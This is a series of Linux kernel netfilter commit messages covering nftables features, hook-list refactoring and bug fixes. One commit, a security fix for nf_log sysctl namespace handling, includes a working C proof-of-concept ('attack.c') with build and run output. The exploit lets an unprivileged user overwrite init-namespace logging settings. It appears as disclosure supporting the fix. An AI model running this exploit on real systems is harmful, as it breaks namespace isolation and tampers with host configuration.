Add FIB expression, supported for ipv4, ipv6 and inet family (the latter
just dispatches to ipv4 or ipv6 one based on nfproto).
Currently supports fetching output interface index/name and the
rtm_type associated with an address.
This can be used for adding path filtering. rtm_type is useful
to e.g. enforce a strong-end host model where packets
are only accepted if daddr is configured on the interface the
packet arrived on.
The fib expression is a native nftables alternative to the
xtables addrtype and rp_filter matches.
FIB result order for oif/oifname retrieval is as follows:
- if packet is local (skb has rtable, RTF_LOCAL set, this
will also catch looped-back multicast packets), set oif to
the loopback interface.
- if fib lookup returns an error, or result points to local,
store zero result. This means '--local' option of -m rpfilter
is not supported. It is possible to use 'fib type local' or add
explicit saddr/daddr matching rules to create exceptions if this
is really needed.
- store result in the destination register.
In case of multiple routes, search set for desired oif in case
strict matching is requested.
ipv4 and ipv6 behave fib expressions are supposed to behave the same.
[ I have collapsed Arnd Bergmann's ("netfilter: nf_tables: fib warnings")
http://patchwork.ozlabs.org/patch/688615/
to address fallout from this patch after rebasing nf-next, that was
posted to address compilation warnings. --pablo ]
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch adds notrack support.
I decided to add a new expression, given that this doesn't fit into the
existing set operation. Notrack doesn't need a source register, and an
hypothetical NFT_CT_NOTRACK key makes no sense since matching the
untracked state is done through NFT_CT_STATE.
I'm placing this new notrack expression into nft_ct.c, I think a single
module is too much.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After supporting this, we can combine it with hash expression to emulate
the 'cluster match'.
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently we start round robin from 1, but it's better to start round
robin from 0. This is to keep consistent with xt_statistic in iptables.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently not supported, we'd oops as skb was (or is) free'd elsewhere.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Since the code explicilty falls back to a smaller allocation when the
large one fails, we shouldn't complain when that happens.
Signed-off-by: Calvin Owens <calvinowens@fb.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are multiple equality condition checks in the original codes, so it
is better to use switch case instead of them.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use the correct pattern for singly linked list insertion and
deletion. We can also calculate the list head outside of the
mutex.
Fixes: e3b37f11e6 ("netfilter: replace list_head with single linked list")
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Reviewed-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
net/netfilter/core.c | 108 ++++++++++++++++-----------------------------------
1 file changed, 33 insertions(+), 75 deletions(-)
nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}
int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}
int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}
Repro:
$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE
Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Division of 64bit integers will cause linker error undefined reference
to `__udivdi3'. Fix this by replacing divisions with div64_64
Fixes: 11d5f15723 ("netfilter: xt_hashlimit: Create revision 2 to ...")
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Acked-by: Maciej Żenczykowski <maze@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When CONFIG_NETFILTER_INGRESS is unset (or no), we need to handle
the request for registration properly by dropping the hook. This
releases the entry during the set.
Fixes: e3b37f11e6 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
It's possible for nf_hook_entry_head to return NULL. If two
nf_unregister_net_hook calls happen simultaneously with a single hook
entry in the list, both will enter the nf_hook_mutex critical section.
The first will successfully delete the head, but the second will see
this NULL pointer and attempt to dereference.
This fix ensures that no null pointer dereference could occur when such
a condition happens.
Fixes: e3b37f11e6 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Conflicts:
net/netfilter/core.c
net/netfilter/nf_tables_netdev.c
Resolve two conflicts before pull request for David's net-next tree:
1) Between c73c248490 ("netfilter: nf_tables_netdev: remove redundant
ip_hdr assignment") from the net tree and commit ddc8b6027a
("netfilter: introduce nft_set_pktinfo_{ipv4, ipv6}_validate()").
2) Between e8bffe0cf9 ("net: Add _nf_(un)register_hooks symbols") and
Aaron Conole's patches to replace list_head with single linked list.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
nf_log is used by both nftables and iptables, so use XT_LOG_XXX macros
here is not appropriate. Replace them with NF_LOG_XXX.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
NFTA_LOG_FLAGS attribute is already supported, but the related
NF_LOG_XXX flags are not exposed to the userspace. So we cannot
explicitly enable log flags to log uid, tcp sequence, ip options
and so on, i.e. such rule "nft add rule filter output log uid"
is not supported yet.
So move NF_LOG_XXX macro definitions to the uapi/../nf_log.h. In
order to keep consistent with other modules, change NF_LOG_MASK to
refer to all supported log flags. On the other hand, add a new
NF_LOG_DEFAULT_MASK to refer to the original default log flags.
Finally, if user specify the unsupported log flags or NFTA_LOG_GROUP
and NFTA_LOG_FLAGS are set at the same time, report EINVAL to the
userspace.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Inverse ranges != [a,b] are not currently possible because rules are
composites of && operations, and we need to express this:
data < a || data > b
This patch adds a new range expression. Positive ranges can be already
through two cmp expressions:
cmp(sreg, data, >=)
cmp(sreg, data, <=)
This new range expression provides an alternative way to express this.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Fabian reports a possible conntrack memory leak (could not reproduce so
far), however, one minor issue can be easily resolved:
> cat /proc/net/nf_conntrack | wc -l = 5
> 4 minutes required to clean up the table.
We should not report those timed-out entries to the user in first place.
And instead of just skipping those timed-out entries while iterating over
the table we can also zap them (we already do this during ctnetlink
walks, but I forgot about the /proc interface).
Fixes: f330a7fdbe ("netfilter: conntrack: get rid of conntrack timer")
Reported-by: Fabian Frederick <fabf@skynet.be>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Create a new revision for the hashlimit iptables extension module. Rev 2
will support higher pps of upto 1 million, Version 1 supports only 10k.
To support this we have to increase the size of the variables avg and
burst in hashlimit_cfg to 64-bit. Create two new structs hashlimit_cfg2
and xt_hashlimit_mtinfo2 and also create newer versions of all the
functions for match, checkentry and destroy.
Some of the functions like hashlimit_mt, hashlimit_mt_check etc are very
similar in both rev1 and rev2 with only minor changes, so I have split
those functions and moved all the common code to a *_common function.
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Signed-off-by: Joshua Hunt <johunt@akamai.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
I am planning to add a revision 2 for the hashlimit xtables module to
support higher packets per second rates. This patch renames all the
functions and variables related to revision 1 by adding _v1 at the
end of the names.
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Signed-off-by: Joshua Hunt <johunt@akamai.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
NFT_CT_MARK is unrelated to direction, so if NFTA_CT_DIRECTION attr is
specified, report EINVAL to the userspace. This validation check was
already done at nft_ct_get_init, but we missed it in nft_ct_set_init.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently, if the user want to match ct l3proto, we must specify the
direction, for example:
# nft add rule filter input ct original l3proto ipv4
^^^^^^^^
Otherwise, error message will be reported:
# nft add rule filter input ct l3proto ipv4
nft add rule filter input ct l3proto ipv4
<cmdline>:1:1-38: Error: Could not process rule: Invalid argument
add rule filter input ct l3proto ipv4
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Actually, there's no need to require NFTA_CT_DIRECTION attr, because
ct l3proto and protocol are unrelated to direction.
And for compatibility, even if the user specify the NFTA_CT_DIRECTION
attr, do not report error, just skip it.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
It is valid that the TCP RST packet which does not set ack flag, and bytes
of ack number are zero. But current seqadj codes would adjust the "0" ack
to invalid ack number. Actually seqadj need to check the ack flag before
adjust it for these RST packets.
The following is my test case
client is 10.26.98.245, and add one iptable rule:
iptables -I INPUT -p tcp --sport 12345 -m connbytes --connbytes 2:
--connbytes-dir reply --connbytes-mode packets -j REJECT --reject-with
tcp-reset
This iptables rule could generate on TCP RST without ack flag.
server:10.172.135.55
Enable the synproxy with seqadjust by the following iptables rules
iptables -t raw -A PREROUTING -i eth0 -p tcp -d 10.172.135.55 --dport 12345
-m tcp --syn -j CT --notrack
iptables -A INPUT -i eth0 -p tcp -d 10.172.135.55 --dport 12345 -m conntrack
--ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7
--mss 1460
iptables -A OUTPUT -o eth0 -p tcp -s 10.172.135.55 --sport 12345 -m conntrack
--ctstate INVALID,UNTRACKED -m tcp --tcp-flags SYN,RST,ACK SYN,ACK -j ACCEPT
The following is my test result.
1. packet trace on client
root@routers:/tmp# tcpdump -i eth0 tcp port 12345 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [S], seq 3695959829,
win 29200, options [mss 1460,sackOK,TS val 452367884 ecr 0,nop,wscale 7],
length 0
IP 10.172.135.55.12345 > 10.26.98.245.45154: Flags [S.], seq 546723266,
ack 3695959830, win 0, options [mss 1460,sackOK,TS val 15643479 ecr 452367884,
nop,wscale 7], length 0
IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [.], ack 1, win 229,
options [nop,nop,TS val 452367885 ecr 15643479], length 0
IP 10.172.135.55.12345 > 10.26.98.245.45154: Flags [.], ack 1, win 226,
options [nop,nop,TS val 15643479 ecr 452367885], length 0
IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [R], seq 3695959830,
win 0, length 0
2. seqadj log on server
[62873.867319] Adjusting sequence number from 602341895->546723267,
ack from 3695959830->3695959830
[62873.867644] Adjusting sequence number from 602341895->546723267,
ack from 3695959830->3695959830
[62873.869040] Adjusting sequence number from 3695959830->3695959830,
ack from 0->55618628
To summarize, it is clear that the seqadj codes adjust the 0 ack when receive
one TCP RST packet without ack.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The netfilter hook list never uses the prev pointer, and so can be trimmed to
be a simple singly-linked list.
In addition to having a more light weight structure for hook traversal,
struct net becomes 5568 bytes (down from 6400) and struct net_device becomes
2176 bytes (down from 2240).
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This commit adds an upfront check for sane values to be passed when
registering a netfilter hook. This will be used in a future patch for a
simplified hook list traversal.
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
All of the callers of nf_hook_slow already hold the rcu_read_lock, so this
cleanup removes the recursive call. This is just a cleanup, as the locking
code gracefully handles this situation.
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The origin codes perform two condition checks with dst_mtu(skb_dst(skb))
and in_mtu. And the last statement is "min(dst_mtu(skb_dst(skb)),
in_mtu) - minlen". It may let reader think about how about the result.
Would it be negative.
Now assign the result of min(dst_mtu(skb_dst(skb)), in_mtu) to a new
variable, then only perform one condition check, and it is more readable.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We already checked for !found just a bit before:
if (!found) {
regs->verdict.code = NFT_BREAK;
return;
}
if (found && set->flags & NFT_SET_MAP)
^^^^^
So this redundant check can just go away.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
It's better to use sizeof(info->name)-1 as index to force set the string
tail instead of literal number '29'.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are some codes which are used to get one random once in netfilter.
We could use net_get_random_once to simplify these codes.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
pkt->xt.thoff is not always set properly, but we use it without any check.
For payload expr, it will cause wrong results. For nftrace, we may notify
the wrong network or transport header to the user space, furthermore,
input the following nft rules, warning message will be printed out:
# nft add rule arp filter output meta nftrace set 1
WARNING: CPU: 0 PID: 13428 at net/netfilter/nf_tables_trace.c:263
nft_trace_notify+0x4a3/0x5e0 [nf_tables]
Call Trace:
[<ffffffff813d58ae>] dump_stack+0x63/0x85
[<ffffffff810a4c0b>] __warn+0xcb/0xf0
[<ffffffff810a4d3d>] warn_slowpath_null+0x1d/0x20
[<ffffffffa0589703>] nft_trace_notify+0x4a3/0x5e0 [nf_tables]
[ ... ]
[<ffffffffa05690a8>] nft_do_chain_arp+0x78/0x90 [nf_tables_arp]
[<ffffffff816f4aa2>] nf_iterate+0x62/0x80
[<ffffffff816f4b33>] nf_hook_slow+0x73/0xd0
[<ffffffff81732bbf>] arp_xmit+0x8f/0xb0
[ ... ]
[<ffffffff81732d36>] arp_solicit+0x106/0x2c0
So before we use pkt->xt.thoff, check the tprot_set first.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There's an off-by-one issue in nft_payload_fast_eval, skb_tail_pointer
and ptr + priv->len all point to the last valid address plus 1. So if
they are equal, we can still fetch the valid data. It's unnecessary to
fall back to nft_payload_eval.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently, the user can specify the queue numbers by _QUEUE_NUM and
_QUEUE_TOTAL attributes, this is enough in most situations.
But acctually, it is not very flexible, for example:
tcp dport 80 mapped to queue0
tcp dport 81 mapped to queue1
tcp dport 82 mapped to queue2
In order to do this thing, we must add 3 nft rules, and more
mapping meant more rules ...
So take one register to select the queue number, then we can add one
simple rule to mapping queues, maybe like this:
queue num tcp dport map { 80:0, 81:1, 82:2 ... }
Florian Westphal also proposed wider usage scenarios:
queue num jhash ip saddr . ip daddr mod ...
queue num meta cpu ...
queue num meta mark ...
The last point is how to load a queue number from sreg, although we can
use *(u16*)®s->data[reg] to load the queue number, just like nat expr
to load its l4port do.
But we will cooperate with hash expr, meta cpu, meta mark expr and so on.
They all store the result to u32 type, so cast it to u16 pointer and
dereference it will generate wrong result in the big endian system.
So just keep it simple, we treat queue number as u32 type, although u16
type is already enough.
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Fetch value and validate u32 netlink attribute. This validation is
usually required when the u32 netlink attributes are being stored in a
field whose size is smaller.
This patch revisits 4da449ae1d ("netfilter: nft_exthdr: Add size check
on u8 nft_exthdr attributes").
Fixes: 96518518cc ("netfilter: add nftables")
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Add support of an offset value for incremental counter and random. With
this option the sysadmin is able to start the counter to a certain value
and then apply the generated number.
Example:
meta mark set numgen inc mod 2 offset 100
This will generate marks with the serie 100, 101, 100, 101, ...
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
To something more meaningful these days, specially because this is
working on packet headers or lengths and which are not tied to any CPU
arch but to the protocol itself.
So, WORD_TRUNC becomes SCTP_TRUNC4 and WORD_ROUND becomes SCTP_PAD4.
Reported-by: David Laight <David.Laight@ACULAB.COM>
Reported-by: David Miller <davem@davemloft.net>
Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Add _nf_register_hooks() and _nf_unregister_hooks() calls which allow
caller to hold RTNL mutex.
Signed-off-by: Mahesh Bandewar <maheshb@google.com>
CC: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
When memory is exhausted, nfct_seqadj_ext_add may fail to add the
synproxy and seqadj extensions. The function nf_ct_seqadj_init doesn't
check if get valid seqadj pointer by the nfct_seqadj.
Now drop the packet directly when fail to add seqadj extension to
avoid dereference NULL pointer in nf_ct_seqadj_init from
init_conntrack().
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The overflow validation in the init() function establishes that the
maximum value that the hash could reach is less than U32_MAX, which is
likely to be true.
The fix detects the overflow when the maximum hash value is less than
the offset itself.
Fixes: 70ca767ea1 ("netfilter: nft_hash: Add hash offset value")
Reported-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Conflicts:
drivers/net/ethernet/mediatek/mtk_eth_soc.c
drivers/net/ethernet/qlogic/qed/qed_dcbx.c
drivers/net/phy/Kconfig
All conflicts were cases of overlapping commits.
Signed-off-by: David S. Miller <davem@davemloft.net>
nf_nat_setup_info() returns NF_* verdicts, so convert them to error
codes that is what ctnelink expects. This has passed overlook without
having any impact since this nf_nat_setup_info() has always returned
NF_ACCEPT so far. Since 870190a9ec ("netfilter: nat: convert nat bysrc
hash to rhashtable"), this is problem.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After we generate a new number, we still use the priv->counter and
store it to the dreg. This is not correct, another cpu may already
change it to a new number. So we must use the generated number, not
the priv->counter itself.
Fixes: 91dbc6be0a ("netfilter: nf_tables: add number generator expression")
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
These counters sit in hot path and do show up in perf, this is especially
true for 'found' and 'searched' which get incremented for every packet
processed.
Information like
searched=212030105
new=623431
found=333613
delete=623327
does not seem too helpful nowadays:
- on busy systems found and searched will overflow every few hours
(these are 32bit integers), other more busy ones every few days.
- for debugging there are better methods, such as iptables' trace target,
the conntrack log sysctls. Nowadays we also have perf tool.
This removes packet path stat counters except those that
are expected to be 0 (or close to 0) on a normal system, e.g.
'insert_failed' (race happened) or 'invalid' (proto tracker rejects).
The insert stat is retained for the ctnetlink case.
The found stat is retained for the tuple-is-taken check when NAT has to
determine if it needs to pick a different source address.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are some codes of netfilter module which did not check the return
value of nft_register_chain_type. Add the checks now.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are some codes of netfilter module which did not check the return
value of register_netdevice_notifier. Add the checks now.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
These functions are extracted from the netdev family, they initialize
the pktinfo structure and validate that the IPv4 and IPv6 headers are
well-formed given that these functions are called from a path where
layer 3 sanitization did not happen yet.
These functions are placed in include/net/netfilter/nf_tables_ipv{4,6}.h
so they can be reused by a follow up patch to use them from the bridge
family too.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch introduces nft_set_pktinfo_unspec() that ensures proper
initialization all of pktinfo fields for non-IP traffic. This is used
by the bridge, netdev and arp families.
This new function relies on nft_set_pktinfo_proto_unspec() to set a new
tprot_set field that indicates if transport protocol information is
available. Remain fields are zeroed.
The meta expression has been also updated to check to tprot_set in first
place given that zero is a valid tprot value. Even a handcrafted packet
may come with the IPPROTO_RAW (255) protocol number so we can't rely on
this value as tprot unset.
Reported-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The dynset expression matches if we can fit a new entry into the set.
If there is no room for it, then it breaks the rule evaluation.
This patch introduces the inversion flag so you can add rules to
explicitly drop packets that don't fit into the set. For example:
# nft filter input flow table xyz size 4 { ip saddr timeout 120s counter } overflow drop
This is useful to provide a replacement for connlimit.
For the rule above, every new entry uses the IPv4 address as key in the
set, this entry gets a timeout of 120 seconds that gets refresh on every
packet seen. If we get new flow and our set already contains 4 entries
already, then this packet is dropped.
You can already express this in positive logic, assuming default policy
to drop:
# nft filter input flow table xyz size 4 { ip saddr timeout 10s counter } accept
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
